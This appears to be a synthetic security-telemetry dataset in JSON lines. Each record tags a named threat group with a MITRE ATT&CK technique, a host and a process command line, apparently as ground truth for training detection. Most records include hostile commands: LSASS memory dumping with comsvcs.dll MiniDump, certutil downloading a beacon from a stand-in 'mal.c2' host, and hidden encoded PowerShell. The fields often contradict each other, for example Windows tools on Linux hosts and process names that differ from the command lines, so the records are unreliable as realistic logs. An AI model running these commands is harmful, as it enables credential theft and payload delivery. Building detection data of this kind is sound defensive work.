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train · 10k rows

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{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access","Initial Access","Lateral Movement"],"technique_id":"T1531"},"event_id":"evt_apt29_20250517T172011000Z_0018601","ground_truth":{"detection_guidance":"Sigma rule for T1531 \| Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.33.178.29","name":"EC2-INST-KTKYLU4NYJ","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18601APT29T1531"},"network":{"domain":"github.com","dst_ip":"1.63.32.116","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1340 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-03-28T19:10:57.000Z","user":{"name":"svc_4tumd06ut6wb","sid":"S-1-5-21-419988918-938786478-1332"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20250724T053818000Z_0018603","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.85.30.54","name":"AZURE-VM-9JV63CEBXK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18603Lapsus$T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.180.155.48","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-02-24T13:00:22.000Z","user":{"name":"i-8jpvinqlv72r","sid":"S-1-5-21-860535267-412205269-7345"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control","Discovery"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20260324T094014000Z_0018605","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.74.114.80","name":"EC2-INST-VK7GDGPMEI","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18605Mustang PandaT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.101.177.181","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-02-12T07:50:29.000Z","user":{"name":"azuread\\rvjsk6nqertk","sid":"S-1-5-21-887152937-369586940-4095"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Execution","Reconnaissance"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20260417T081556000Z_0018607","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.115.42.159","name":"DB-ORACLE-SHS4KNLO7L","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18607Volt TyphoonT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.61.33.195","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-03-14T22:58:09.000Z","user":{"name":"CORP\\brlyz0ghg72g","sid":"S-1-5-21-568246471-139600096-5175"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Lateral Movement","Execution","Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20260710T070550000Z_0018609","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 \| Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.62.55.241","name":"APP-WEB-9U7BT6PJIL","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18609FIN7T1059.001"},"network":{"domain":"github.com","dst_ip":"1.31.58.107","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-07-24T05:13:03.000Z","user":{"name":"CORP\\h1v27jv1jsa1","sid":"S-1-5-21-569077171-411039847-1179"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Defense Evasion"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20260109T025345000Z_0018611","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.92.224.92","name":"EC2-INST-4C5WCO5APB","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18611Mustang PandaT1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.99.90.218","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2273 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-16T13:14:07.000Z","user":{"name":"svc_3g0naj2shr6k","sid":"S-1-5-21-866905922-337731598-1639"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Impact","Collection"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20260106T100335000Z_0018613","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.129.47.217","name":"AZURE-VM-IEVY9AJWIM","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18613FIN7T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.176.181.54","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-07T16:39:29.000Z","user":{"name":"arn:aws:iam::6bjl0akdl9bk","sid":"S-1-5-21-438734893-135219903-9008"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Impact","Exfiltration","Collection"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20251207T170629000Z_0018615","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.14.141.249","name":"WIN-FIN-SRV-FI2BKBGSX6","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18615APT41T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.67.89.107","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-10-12T20:07:02.000Z","user":{"name":"CORP\\hk9w2ejcge3i","sid":"S-1-5-21-238967662-963847166-3547"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20251014T092033000Z_0018617","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["TLS","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.238.253.188","name":"DB-ORACLE-VF5F0J9T57","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18617Volt TyphoonT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.151.118.183","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-08-25T16:15:16.000Z","user":{"name":"CORP\\hyp29cigjuq9","sid":"S-1-5-21-508216057-321042492-9807"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20250430T192851000Z_0018619","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.32.254.130","name":"IAM-ROLE-6OY0X8Y9MM","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18619APT41T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.62.200.211","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3548 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-10-05T22:06:49.000Z","user":{"name":"i-8anwb5iwfkoq","sid":"S-1-5-21-768750304-664215695-3593"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Defense Evasion","Privilege Escalation"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20250918T113516000Z_0018621","ground_truth":{"detection_guidance":"Sigma rule for T1531 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.227.34.213","name":"IAM-ROLE-WJLQYNRDFI","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18621Volt TyphoonT1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.55.214.112","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-02-18T19:38:48.000Z","user":{"name":"svc_eo4hykrd5njr","sid":"S-1-5-21-930893844-902886329-4061"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Initial Access","Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20250829T222742000Z_0018623","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.3.178.54","name":"EC2-INST-FRKWY08JUM","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18623Lapsus$T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.70.142.213","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-01-30T07:48:08.000Z","user":{"name":"svc_gcgc4x3nzsra","sid":"S-1-5-21-260659384-831645680-3589"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Exfiltration","Discovery"],"technique_id":"T1531"},"event_id":"evt_unc4841_20250623T021608000Z_0018625","ground_truth":{"detection_guidance":"Sigma rule for T1531 \| Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.191.102.220","name":"IAM-ROLE-ZLEF0HI96Z","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18625UNC4841T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.92.6.23","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-01-17T11:31:16.000Z","user":{"name":"CORP\\of3c5ykhfuzm","sid":"S-1-5-21-628417482-920493628-6093"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Privilege Escalation","Credential Access","Impact"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20260305T091420000Z_0018627","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.26.20.121","name":"APP-WEB-F25XC7CXUD","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18627Lapsus$T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.87.42.24","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1868 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-05-09T09:42:26.000Z","user":{"name":"CORP\\evfv5q2y14i9","sid":"S-1-5-21-687416123-835060883-4903"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Exfiltration"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20260409T035748000Z_0018629","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["Fileless","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.141.23.212","name":"EC2-INST-CP24ZWNRA8","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18629Lapsus$T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.82.246.155","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-09-27T11:52:27.000Z","user":{"name":"svc_k53e9dbp37jk","sid":"S-1-5-21-413121723-789839390-3031"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20250918T121046000Z_0018631","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.251.206.66","name":"WIN-FIN-SRV-N475M82KX7","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18631Scattered SpiderT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.35.72.68","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3825 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-04-12T19:49:24.000Z","user":{"name":"arn:aws:iam::ueuamyjqmc8p","sid":"S-1-5-21-153750424-672396711-7164"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_apt29_20260104T103557000Z_0018633","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.56.84.36","name":"APP-WEB-05H487RF9J","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18633APT29T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.82.214.168","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2051 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-09-22T04:14:04.000Z","user":{"name":"CORP\\vbilwc196luk","sid":"S-1-5-21-849160418-790816719-8144"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Defense Evasion","Impact","Initial Access"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20250712T091342000Z_0018635","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 \| Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.123.153.39","name":"WIN-FIN-SRV-5FJZG3VYWY","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18635APT29T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.119.74.67","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-10-07T16:02:09.000Z","user":{"name":"arn:aws:iam::9qsbtcjdsdea","sid":"S-1-5-21-705606861-161678376-5513"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20260316T012208000Z_0018637","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.30.15.87","name":"DB-ORACLE-GF7OL3OUQ1","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18637Lapsus$T1484.001"},"network":{"domain":"github.com","dst_ip":"1.19.150.218","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-11-27T09:05:27.000Z","user":{"name":"i-64vzxwhmy52k","sid":"S-1-5-21-575639317-529190282-7585"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20261212T215518000Z_0018639","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 \| Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.80.60.3","name":"AZURE-VM-GHR3USZS1Z","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18639UNC4841T1059.001"},"network":{"domain":"github.com","dst_ip":"1.28.91.175","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-26T22:17:19.000Z","user":{"name":"CORP\\d46pmurekhbl","sid":"S-1-5-21-140400667-468499786-8921"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Credential Access"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20250806T193105000Z_0018641","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.176.40.16","name":"DB-ORACLE-TIVR4QE8LJ","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18641Mustang PandaT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.71.154.49","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1208 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-09-27T17:54:54.000Z","user":{"name":"CORP\\eqzatyryvekk","sid":"S-1-5-21-339019072-376864113-5026"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20251018T083424000Z_0018643","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.101.133.57","name":"APP-WEB-2JXH0R45V3","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18643APT29T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.172.198.75","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-03-05T06:16:29.000Z","user":{"name":"azuread\\n4ayp3ae39ao","sid":"S-1-5-21-386027786-171342496-6787"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20251223T093525000Z_0018645","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 \| Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.228.23.221","name":"AZURE-VM-DDSMLKUGFB","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18645APT41T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.58.181.34","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-05-03T21:19:36.000Z","user":{"name":"arn:aws:iam::gro9h4jwx2zy","sid":"S-1-5-21-910809404-839669164-7427"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement","Privilege Escalation"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20250308T073830000Z_0018647","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["Base64","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.117.187.179","name":"APP-WEB-PP6F8J7UOW","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18647Scattered SpiderT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.45.118.61","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2041 